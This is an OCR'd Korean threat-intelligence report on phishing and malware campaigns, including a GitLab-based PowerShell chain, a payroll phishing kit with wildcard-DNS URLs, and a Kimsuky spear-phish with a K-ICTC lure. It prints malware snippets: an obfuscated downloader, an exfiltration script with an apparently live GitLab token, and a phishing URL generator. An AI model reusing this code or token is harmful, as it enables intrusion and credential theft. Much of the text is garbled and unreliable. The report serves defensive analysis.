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- FRo e FR Ao § %ol o] FEsHs AN Aol Py
& oojsto] Mgt o] UL AT WEsPMchs Y.

O %72 34} A FxojA NP2 XA hFlECE AL AR WNoz %
uAL %8

(33 5] O77|otY 2 AHE = H4aF PDF I (2)
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GitLab A Z20|A Yahoourtf IS CHREE 5H0{%AppData%WMicrosoftWWindowstTemplates

HE20| Yahoojse 0|22 X&SH F, Yahoojse 2 AR E nto| Bhe MM =E CH3aH 22
O|E22 AHEHE SEHUICL

o 2 E2Y: MicrosoftEdgeUpdateTaskMachineGGswr{F60293632-35R-4A2F-96A8-
03C3ECD693(f5}
o 2 F7[:102 XA AIZ, 0|7 352 74 Ei=S

¥ 3 48 EfA

& MicrosoftEdgeUpdateTaskMac hinaGGowrFA0203632-35R-4A2F-96AB-03CIECDES3fS) $H| 2026-04-03 27 9:380] - ESAE X ¥ B2 E 00:35:000:C wraf

g 2y BN =x 53 IRMNETER) O EH HAEE UEHEH FUME,

HCFUEEFRTOARNE G UESHE SNEF NAHG EUC O SUE A5G (42 TEF MEH0 AT 4L HONE AUMR.

&2 AR

EEIR AN wicnipt.exe //b //nologo "C\Users) \AppDats\ Roaming\ Mecrosoft\ Windows' Templates\ Yshoo jse”

13 6 S5 &Y 27 =

2-3) 2 Xt L2204 AKX - facebook.ps1 44

Yahoojse 23 EE L QAT E EXAES CIZ 00 B2 LOA 2K} held A3 EES

Tt F %AppData%WMicrosoftWWindowsWCloudStoreW & Z20] facebook.ps1 0|E 22
ML o

2-4) X|F HO|2E(news.psl) A E& - newsps1 X|= A

0%

Gitlab MZA0f| A
news.ps1 O|2t= O]
S™g K|Sk

HE
2
e
o
ot
&
dn

2otz FHEE MZE ajobcalltxt THYES LHE
O MFSID FA| AT AHo| &
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3.2 Xt CHR 2 (facebook.ps1) - 35 £0ICH BHE 2= HEEME

facebook.ps1 2 2 EHAOIM SEE ofef 2
CHREEEM Gitlab MEA0M Y22 E
MESH AAgtL| ok

Ao 23l 35 2 7|2 H=E 2dks 24

scalltxt T2 CH2RIOF H231ot & newspsl =

$alis=@("moryst” v "):

$ms=-join ("M Salis[ ; IR

$xf=-join("r1 sulisl 1, Salxs[ 2, "Bytes”) ;

$str=0(Sms, ", $xL, “es nya

$rep=@ ("msx","rx"," W “, “"‘):

$det = " t ; Y .10; Y . ty. 1

$i=;

$u=$148Azgs[ ):

$p=" o

§s=@(":","5:");

$x=$p -replace "o","t";

foreach($item in $rep){
$def=§def -replace $item, $str($i);
$ise;

)

Add-Type - ypcbormxtxon $def;
‘P'd -

§eee = Join-Path (San AppData) g
$gttet = ° :
Satkkk = °

$projectid =

$branchName = “

$filepath =

$dwllll =

$agent=("Mozl

$headers = @{
ke A 1" = Satkkk

"

=join "

y:

$response = Invoke-WebRequest
[Bytelllsbytes = sxespcnse Content;
[Byte[]]$decbytes=[Init])::Dec($bytes, $pwd) ;

[Jy,tﬁm Text.Encoding) : :ASCII. Gatstrxng(ﬁdacbytel)l Out-Fi

-Uri $dwllll -Headers $headers -UserAgent $agent -UseBasicParsing;

€ =FilePath §eee -EnCleng utfs;

tart-Process powershell -ArgumentList " " -WindowStyle Hidden:;
[A3 7] newsps1 Mg A=
2ot &2 40| HX|Z Q3o17| Aok ATYE L AC YRS 22|E ZUOE Liy IS
A A0 =Eots YA S AFEELIC
O|& Sl SAXI= Gitlab MEH24-2| scall.txt LHAPH WH|SHH, TSHAF A|ARO|AM HAE=
AEIEE AM=A FH42oz YHOIEY = JUAFLICE
4. X|F HO|2E(news.psl) - MHEHEFH otdIAC

2 CHA|(firefoxps1)@t 3 THA|(facebook ps1) LY@ AFRE= BF XFXHOZ
(@]

O AEQl newspsl & AEBHL|CE
S MM A3EEE FESY
Oflst ™= H7|X| Y=E HAZUSL
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4-1) ZG AIAH A g 2

|52l WMI(Windows Management Instrumentation)S  O|-2dH

d 7 —
4 AILHEOAM B 22 Y2 ST

. TYHE 2T P T4 2T
o AAE ORX|3f R AIZE A7

+HE 2= o3 €2 #AHez T30l 4950 %AppData% 420 MEE LICE

o THZl: <IP Address>-<MMdd_HHmm>-XXX-kkk.txt

$ipAddress = (Get-WmiObject Win32 NetworkAdapterConfiguration | Where-Cbject { $_.IPAddress -ne $null }).IPAddress(0]
SenrrentTime = Get-Date -Format ™ _ il

SfileName = "Siphddress—ScurrentTime—XXX—kkk.txt“|

$srcPath = Join-Path Senv:appdata $fileName;

SoutPath=5srcPath+".enc";

(Get-CimInstance Win32 OperatingSystem) .LastBootUpTime | OQut-File -FilePath SsrcPath:

2 g +RE Yo Y Y 3

4-2) =% HO[H =3}

THE 2= AR =2 TS| Hof| AES-256 HAL 2 LS olptL(tt +=HE HOHE g2t
d&ob7| W20, HERZ 2ot gH|7F Eeiy &= =oldle ofd del@ls THEo
OfE=LICh

4-3) GitLab API & £t 40| =

02
02 fot
ot
ra

5
i

OtES Base64 2 QAT 7| AKX} O|2] 2783l = Gitlab APl EZ5 0|83l SAAL
A&

Ral

ok

o RUEE FE: report/<IP FTA>-< WA ZE> -XXX-kkk txt.enc

S$gitlabUrl = "https://gitlab.com";

SapiToken = "glpat-IjgmyREcCbXvE4kJXaDEeWMeMQpvOjEKATpsODY4NAS.01.1716agsz4";
SprojectId = "arkiler-group/at";

SbranchName "main";

| SuploadPath = "report/" + $fileName+".enc"; |

[12] 9] Gitlab M &A YRE H=2
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Wildcard DNS 7|22 283 FOIZMAM 9% T4 Y Fo|

O|AEA|FE|E| LS WEESROUAN 2
oM =2 201 BMMZ flget ojd i

A &2l TDS(Threat Detection System ) O|H| Y B L|E{Z A|AH
20
=

-

A I

| 22 Wildcard DNS 7|82 &&30f URL AtTHE L H3| 2395H= A0| STl g, 7[E
A Wi
2

o
=
o §AIE o8/ U= Justs

. ol 44 Fe

EMON 2|02 A Hi=

7|2
H= : [Re]: Payroll Reports for week 2 ending, Sun, 18 Apr 2026 13:24:05 -0700

: info@oxford.expert

AE S m m
LIT} : 2026-04-20 05:24:07

AL (2)

Full Payment Submission HQQDB4VQYBRGEQQ.htm

falzyunus@653177499426069.PDF

[(1& 1]TDS o|H| 2 2LIHT Ao Xl d oY =tH

34 M

Ol I O ¥E '[Re]: Payroll Reports for week 2 ending, Sun, 19 Apr 2026 13:24:05 -0700' 2=
M=oz REEUCH, [Rel: BFAIE 20 OHX| 7|E0| A2 Ciztel EEQ AXNE

RS LIC

ot =AXOA 'SR E7 52 HAX'E EAL=F O|HY HHE ZESIA2D (Importance:
high), ==& 29| H|¢ ER oY S8 FE5h= X Ate|SeHH 7|8E &8s LI
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2 2|4 ot¥3E 5
[Re]: Payroll Reports for week 2 ending, Sun, 19 Apr 2026 13:24:05 -0700
@ Safoora Alizadeh <info@oxford.expert= ‘ SaEd | QuAE | - FE ) ‘ ‘
g At . 2026-04-20 (&) @7 5:24
e 3
D Ea57 220 HAXS E¥sUD
Full Payment Submission HOOQD84VGYSRGEQQ.Ntm faizyunus@653177499426069.PDF "
€ -htm Db
27 58
S42 Ojd oe +UE2H AE SFEK 2A M BHAZ T
1.0 2ME S HML T 2 7= Ild HZ0= 07| 22 AHEE PDF Itat ojd
H[O|X|2 F&3t= HTML IH0| HEE|0f

PDF I+0f=
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- 10 o
Payroll Notice
Please review the attached payroll statement from the Global Payroll System.
OFFICIAL REMINDER
As part of the monthly payroll closing process, the global payroll administrator has generated a
comprehensive summary of your earnings, deductions, and net payment details for the current
period.
This is an autormated payroll notification. Please retain a copy for your records.
[& 3] 077 EMEZ A&l PDF It 2+H
2. HTML Il mje 2 — I HO[X|
2 A7 SHYMA THE 2 201510 HTML Y S AWSH Microsoft AEFZS| 22 3HHO|
2

=
HA|Z|H, o2t SAI0 HIOZIREoME HEOZ Md=l C2 MH URLS Sdfl C2 AH O E&35H0

Od HOJX| & ZAIZe 2 Z8{ef HOFLCH

O|d M| O|X| XA ZF HTML I QHof| B QUK

oF
LS
=0f, TS AHO| A7H5H= EoF EFM ol A

CESH O|l C2 MB| &L HTML OHY LiE A3 ZIETJ} Wildcard DNS & 2+823810] O Ct2

TR MEEHQ URLS H85t0] ZH2t2M, URL 7|8 BXIE 22 + ASLICL
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Wildcard DNS £t?  DNS(Domain Name System)= QB FAE A MHL[ Ip FAE Bl F
= AR QULICE O DNSOf = QL EFLE( BREEH= 7|80 =], 58 =EHele 2= MER
0ol 20| SUSHAH SEHSIEE 285t= A2z Aele 2 MEZH QS StLte| M=z H
2[SHA 2F517| et HoH el 7| s’

* example.com — 192.0.2.10 (AMH IP)

— www[Jexample[Jcom &% Al: 1920210 22 HZ
— mail[Jexample[Jcom T Al: 1920210 22 AZ

— O MEEHQIO|= 1920210 S 2 ¢&A

SAXt=E 2702l 2 MY E0QlE 2YstH, & =0 @l 25 Wildcard DNS & X-8510] 0fH MEX
Cloz HH: St C2 MH 2 FotH, StLte| L0 Q0] AHEHE|E2t e LIHA| =022 FA|
He5to 342 oo L C

AFEAPZE HTML IS Ale WOCt Chant g2 Eaoz MEEH QI H2| EXE0| 25|
MEH d8%[0f 2 MH=z HZE L[

hxxps://[7 At2| S8 MEZH QI [SAX C2 =HQIQ2 7] F 1 7H)1:8443/gygy?[2H & 6 Xt2|]token[EH &
5 Xt2|Jref=[=4IX} O|H| & F=2]

Ol Al) hxxps://[pnrwedj].example.com:8443/gygy?[keyhfhxrv]token[m7ea3]ref=[email @email.com]
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const domains = [
n .com" .
n Ct-'m "

1;
const statusQueue = [
"Authenticating session...",
"Loading secure modules...",
"Applying encryption...",
"Preparing workspace...",
"Launching interface...”
1;
const rand = (len) => {
const ¢ = "abcdefghjkmnpgrstuvwzyz23456789";
let r = "";
for(let i = 0; i < len; i++) r 4= c[Math.floor(Math.random() * c.length)];
return r;
}:

const buildUrl = () => {
const a = rand(4);
const b = rand(3);
const base = domains[Math.floor(Math.random() * domains.length)];
const pl = rand(€);
const p2 = rand(3);
return “https://5{a}${b}.5{base}:8443/gygy?5{pl}tokens{p2}ref=

(22 4] A URL 48 RE

S4Xte| (2 MHEZEEH ZE & O|4 HO|X|0f& Microsoft 2191 E10| EA|E|DH, Microsoft
o Uy 21 2 O|HY FAT AHSC 2 YUHE MEHZ LIELLE AFEXEZE XHAZA|
[m]

HLHSE AUHGTE SEFLIC
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Sign in

shared documents.

X

Use your Microsoft account to open this workbook and access

’ Password

Show

D Keep me signed in

3.4/ 8 BE Y8 - A8 23 AREAHEE 200 ol HZ2f=E

O] AKXt MH 2 HEE[0] AZ0] EF LIt
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HA WAIO|E ) I CHEPZY €2 Imat o8 Kimsuky ] K-ICTC AR

%] St A7 X5 X[ I™APT) 2EQ! Kimsuky(Z4=71)7t '2026 4th K-ICTC' HAFS HsHAH|
AMESIH EX EHIZS L2l AL (Spear Phishing) 342 75t QYELICE O] €™ 1

L

o

2 AFHeE K= 22 S R SR
2026_4th_K-ICTC_Information.zip O|2H= FH Q| o &= mes =

UELICE Ol thegt 22| HYZ 7} OfL 2, CHAALZL &

I(ZDI-
BES ZAE dEstE Ate|SeN(Social Engineering) 7| E0| EXASHA HEE TNl BNH 5

Ao YEIE M2 USLIL

= AN SAX= AHHHL g =H2lS ddote T, 7IE0 X2z 250 2ot
AMAEO| HRIES 22[0t7| #2 Fofet YAOIES 280 Holiotd 4d2E RE HEH2=R
otEdts das MEYUSLICEL A&l B2l QIZatz 'TotE e[ Atz tirAl2

-y

dghmallorgye| 24 WAIO|ES $|2510] M| HeHS =r[eh 5|, s M Li=o| EX ClE 2|

= 02 AR CE0] HiE MuE BRIUSLICH 0| S8 LhAISO| &
=]

= o
|2te] & A (hxxp://dghmal.Jorg/mnd/2026_4th_K-ICTC_Information.zip)E 2

Ju

Hs{At7t CHREESH 7IP &% mHYS SHA|SHH LSO 2026 4th K-ICTC Information.pdfink'2t= Hf
r

2747] opYo| LIEFELICE RI=R| &AL 52 S Y80 PDF 2AE @I&eH 0] LNK It
2 M Al LfFo =3HE me|E(PowerShell) BHOIE Sl 4 HHS AHTLICEH AFEXLZ}F o}
A2 HHst= ZA| G4 Z2 QI mshtaexe 52 2E0I0] HZRE0M Y AFEHEE #
SOtH, A|AH HE 3 A X7 HEE AFTYLCE 27| HE 43 =, Z48E 32E= @2 MH
01 103.67.196[]25 2t 412 A|RfELCHL 3AXH= O] MHE &6l 1 AHH 22 'confdat’ LS L2
HUf Z4Y A4S 4FsID, 0|F viewlphp DEZQIEES B3| A|AH HEOs HE, O 22
S)E ZFEYLICEL 53| 34X ZEE AAEOM =TE HEE PHP A3 ZEE Soff 2Xtgt o
Ef2 MESEoN, X|SHo2 F7t YHZ SIEHSH= CHEHA Mo MAE FXIgLCH

SEHoz ZA8) = M, Ol Kimsuky 52| AH Q2 Fofot e 7|2 BAO|EE st A2
7|ghel 7 QlZet 15, O|F &HAE HEoSH PDF A= FJulstA 2/Z¢et INK Ite| £
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7, A2|32 Q2 MHE 288 MAXNQ CHEtA ofd HOo|ZE S4Y S 38AE 25 X&E Ui

= o =
NEotE PRE AL USLCEIT S8 oM Ll &= s A =7t migiet 7|2 o
XHChsh7 =

Olff =S ATH2Z Aot AMEE g HASHSF =02 Sl 2 1Pt
o 2E HERR S4ls A Lete oo SHH2= XHH6ior 2L O 0T 24t
U B2 7b7| oY Al 0|0 thoh AE=EZQIE Hot RLHE MAE ot5 O dHH gt A

= HAgLC,

26th March 2026

First, I would hke to express my sincere appreciation to all mulitary
representatives for your conunued efforts in promotng friendship and
military cooperation with the Republic of Korea.

The ROK Army is planming to host the 4th Korea—International Combat
Training Competition(K—ICTC) mn 2026. As in the previous competition. this
event 1s designed to enhance multinational combined combat capabihtes
and interoperability. while strengtheming exchanges and cooperation zmong
participating nations.

In partcular, this year's K—ICTC will feature not only small—umt scienufic
comba: trammng utithzing MILES equipment. but also demonstrauon of
operational weapon systems of the ROK Army. The K—ICTC will serve as 2
meaningful opportunity to build mutual trust among parucipating nations
and to further advance combined partnerships.

We would appreciate it if you could kindly confirm your participation.
including non—participation. by April 30, 2026.
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* Location - Korea Combat Training Center. ROKA (Inje—gun. Gangwon Province)
* Participation - 1 platoon level (25x Pax)
= Maxamum of 30. including escort and support personnel(Obzervers allowed)

Sincerely,

Colonel Kim, Boo—-bae
Chief of Training Policy, G-2/3
Republic of Korea Army

[ 2026 4th K-ICTC Information.pdfink &% A| 20{X|= 0|7 PDF ]
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